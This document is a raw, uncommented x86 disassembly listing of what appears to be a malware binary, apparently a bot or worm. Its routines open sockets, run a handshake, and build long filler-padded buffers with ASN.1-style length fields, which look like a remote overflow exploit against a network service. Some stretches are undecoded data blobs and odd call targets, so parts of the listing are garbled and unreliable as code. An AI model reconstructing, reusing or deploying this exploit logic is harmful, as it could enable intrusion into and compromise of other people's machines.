		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		call	near ptr 26D06B1h
		nop


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	90575700h
		dd 26390FE8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 224421Eh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 381EE890h, 0C73B0226h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 24412DE8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE0
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

